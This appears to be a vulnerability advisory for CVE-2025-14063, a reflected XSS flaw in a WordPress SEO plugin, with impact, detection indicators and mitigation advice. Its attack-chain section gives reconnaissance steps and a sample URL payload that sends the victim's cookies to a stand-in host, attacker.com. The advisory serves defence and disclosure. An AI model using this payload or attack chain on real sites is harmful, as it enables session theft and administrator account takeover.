CVE-2025-14063: 
WordPress vulnerability analysis and mitigation

CVE-2025-14063 is a Reflected Cross-Site Scripting (XSS) vulnerability in the SEO Links Interlinking plugin for WordPress. It affects all versions up to and including 1.7.5, caused by insufficient input sanitization and output escaping of the google_error parameter. Unauthenticated attackers can inject arbitrary web scripts into pages that execute when a victim clicks a crafted link. It carries a CVSS v3.1 base score of 6.1 (Medium), disclosed on January 28, 2026 (Wordfence, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The google_error parameter in scdata.php (lines 504 and 512) is reflected back to the user without proper sanitization or escaping, allowing an attacker to craft a malicious URL containing JavaScript payloads. Exploitation requires no authentication and no elevated privileges, but does require user interaction — specifically, a victim must click a specially crafted link. The vulnerable code is publicly visible in the plugin's source repository (WordPress Plugin Trac, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session on the affected WordPress site. This can lead to session cookie theft, credential harvesting, defacement of page content as seen by the victim, or redirection to malicious sites. Confidentiality and integrity impacts are rated Low, with no direct availability impact; however, chained with social engineering, the vulnerability could facilitate account takeover of authenticated users including administrators (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14063 as of the available data. The EPSS score is approximately 0.00113, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires tricking a user into clicking a malicious link, which limits mass exploitation potential (Wordfence).

1. Reconnaissance: Identify WordPress sites running the SEO Links Interlinking plugin version ≤1.7.5 using tools like WPScan, Shodan, or Google dorks targeting the plugin's presence.
2. Craft malicious URL: Construct a URL targeting the vulnerable endpoint that includes a malicious payload in the google_error parameter, e.g., https://target-site.com/wp-admin/admin.php?page=seo-links&google_error=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Deliver the link: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, forum post, or other social engineering channel.
4. Payload execution: When the victim clicks the link and loads the page, the unsanitized google_error parameter is reflected into the HTML response and the injected script executes in the victim's browser.
5. Achieve objective: The attacker harvests session cookies, credentials, or performs actions on behalf of the authenticated victim, potentially gaining administrative access to the WordPress site (Wordfence, WordPress Plugin Trac).

• Network: HTTP GET requests to WordPress admin pages (e.g., wp-admin/) containing URL-encoded script tags or JavaScript payloads in the google_error query parameter; outbound requests from victim browsers to unknown external domains shortly after accessing such URLs.
• Logs: Web server access logs showing requests with google_error=%3Cscript%3E or similar encoded XSS payloads; referrer logs indicating unusual external sources directing users to admin pages.
• Browser/Session: Unexpected session invalidation or new admin accounts created without authorization, which may indicate successful session hijacking following XSS exploitation.

Users should update the SEO Links Interlinking plugin to a version beyond 1.7.5 that addresses the input sanitization and output escaping issues. If no patched version is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Site administrators should also implement a Web Application Firewall (WAF) rule to block requests containing script tags or JavaScript in the google_error parameter as an interim measure (Wordfence, WordPress Plugin Page).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for the period of January 26–February 1, 2026, noting it as a reflected XSS issue requiring user interaction (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified.